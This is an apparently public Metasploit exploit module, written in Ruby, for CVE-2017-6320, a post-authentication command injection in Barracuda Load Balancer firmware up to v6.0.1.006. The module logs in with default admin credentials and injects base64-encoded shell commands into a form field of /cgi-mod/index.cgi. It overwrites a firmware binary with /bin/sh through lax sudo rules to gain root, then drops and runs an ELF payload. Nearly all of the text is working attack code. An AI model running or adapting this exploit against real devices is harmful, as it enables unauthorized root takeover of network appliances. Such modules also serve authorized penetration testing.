# Exploit Title: Barracuda Load Balancer Firmware <= v6.0.1.006 (2016-08-19) PostAuth remote root exploit
#
# Date: 01/06/2017 (Originally discovered: 3/16)
# Exploit Author: xort
# Software Link: https://www.barracuda.com/products/loadbalancer
# Version: Firmware <=  v6.0.1.006 (2016-08-19)
# Tested on: 6.0.1.006 (2016-08-19)
#            6.0.0.005 (2016-03-22) - checked:4/8/16
#       5.4.0.004 (2015-11-26) - checked:3/16
#
# Not Vuln:  6.1.0.003 (2017-01-17)
# CVE : CVE-2017-6320
#
# vuln: ondefined_delete_assessment trigger exploit
#
# Postauth remote root in Barracuda Load Balancer Firmware <=  v6.0.1.006 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root.
#
# xort @ Critical Start

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Barracuda Load Balancer Firmware <=  v6.0.1.006 delete_assessment root exploit',
          'Description'    => %q{
          This module exploits a remote command execution vulnerability in
        the Barracuda Load Balancer Firmware Version <=  v6.0.1.006 (2016-08-19) by exploiting a
        vulnerability in the web administration interface.
          By sending a specially crafted request it's possible to inject system
         commands while escalating to root do to relaxed sudo configuration on the local 
        machine.
      },
      'Author'         =>
        [
          'xort', # vuln + metasploit module
        ],
      'Version'        => '$Revision: 2 $',
      'References'     =>
        [
          [ 'none', 'none'],
        ],
      'Platform'      => [ 'linux'],
      'Privileged'     => true,
       'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

            'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

      'Targets'        =>
        [
          ['Linux Universal',
            {
                'Arch' => ARCH_X86,
                'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget' => 0))

      register_options(
        [
          OptString.new('PASSWORD', [ false, 'Device password', "" ]),  
          OptString.new('ET', [ false, 'Device password', "" ]),
                 OptString.new('USERNAME', [ true, 'Device password', "admin" ]),  
          OptString.new('CMD', [ false, 'Command to execute', "" ]),  
          Opt::RPORT(8000),
        ], self.class)
  end

        def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
          'headers' => 
      {
        'Accept' => "application/json, text/javascript, */*; q=0.01",
        'Content-Type' => "application/x-www-form-urlencoded",
        'X-Requested-With' => "XMLHttpRequest"
      },
                      'vars_post' =>
                        {

                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
        'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)

                # get rid of first yank 
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

                return password, et
        end

  def run_command(username, password, et, cmd)
    vprint_status( "Running Command...\n" )

     # file to replace
                #sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"

                sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
                sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

    vprint_status(" file = " + b64dumpfile)

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
                cmd = Base64.strict_encode64(cmd)

                # Create injection string.
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile

     exploitreq = [
    [ "auth_type","Local" ],
    [ "et",et ],
    [ "locale","en_US" ],
    [ "password", password  ],
    [ "primary_tab", "ADVANCE" ],
    [ "realm","" ],
    [ "secondary_tab","advanced_system" ],
    [ "user", username ],
    [ "timestamp", Time.now.to_i ],

    [ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ], # vuln
    [ "delete_assessment",  Rex::Text.rand_text_numeric(20) ]
    ]
    
    boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)

    post_data = ""
  
    exploitreq.each do |xreq|
        post_data << "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
        post_data << "#{xreq[1]}\r\n"
    end
        post_data << "--#{boundary}--\r\n"

          res = send_request_cgi({
              'method' => 'POST',
             'uri'    => "/cgi-mod/index.cgi",
              'ctype'  => "multipart/form-data; boundary=#{boundary}",
                 'data'   => post_data,
       'headers' => 
      {
        'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
      }
          })  
  end

  def run_script(username, password, et, cmds)
      vprint_status( "running script...\n")
    
    
  end
  
  def exploit
    # timeout
    timeout = 1550;

    user = "admin"
    
    # params
                real_user = "";
    login_state = "out"
    et = Time.now.to_i
    locale = "en_US"
    user = "admin"
    password = "admin"
    enctype = "MD5"
    password_entry = ""
    password_clear = "admin"
    
    password_hash, et = do_login(user, password_clear, et)
    vprint_status("new password: #{password_hash} et: #{et}\n")

    sleep(5)


     #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
#                        run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

                        run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
                        handler
                end


  end

end